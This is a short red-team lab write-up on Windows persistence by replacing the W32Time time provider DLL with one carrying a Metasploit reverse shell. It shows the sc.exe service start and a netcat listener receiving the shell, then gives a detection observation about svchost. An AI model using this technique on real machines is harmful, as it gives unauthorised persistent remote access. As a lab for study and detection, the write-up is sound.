Hijacking Time Providers
Persistence

Execution

Service w32time depends on the DLL specified in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\.
If an attacker can replace the w32time.dll with his malicious DLL or modify the DllName value to point to his malicious binary, he can get that malicious code executed.
In this lab, we will just swap out the w32time.dll with our own. It contains a metasploit reverse shell payload:
Starting the w32time service:
1
C:\Users\mantvydas\Start Menu\Programs\Startup>sc.exe start w32time
2
3
SERVICE_NAME: w32time
4
TYPE : 20 WIN32_SHARE_PROCESS
5
STATE : 2 START_PENDING
6
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
7
WIN32_EXIT_CODE : 0 (0x0)
8
SERVICE_EXIT_CODE : 0 (0x0)
9
CHECKPOINT : 0x0
10
WAIT_HINT : 0x7d0
11
PID : 964
12
FLAGS :
Copied!
Attacker receiving a reverse shell:
1
[email protected]~# nc -lvvp 443
2
listening on [any] 443 ...
3
10.0.0.2: inverse host lookup failed: Unknown host
4
connect to [10.0.0.5] from (UNKNOWN) [10.0.0.2] 64634
Copied!

Observations

The shell is running as a child of svchost which is expected as this is where all the services originate from:
Note that the code is running under the context of LOCAL SERVICE:
This time and time again shows that binaries running off of svchost.exe, especially if they are rundll32 and are making network connections, should be investigated further.

References

Boot or Logon Autostart Execution: Time Providers, Sub-technique T1547.003 - Enterprise | MITRE ATT&CK®
Last modified 2yr ago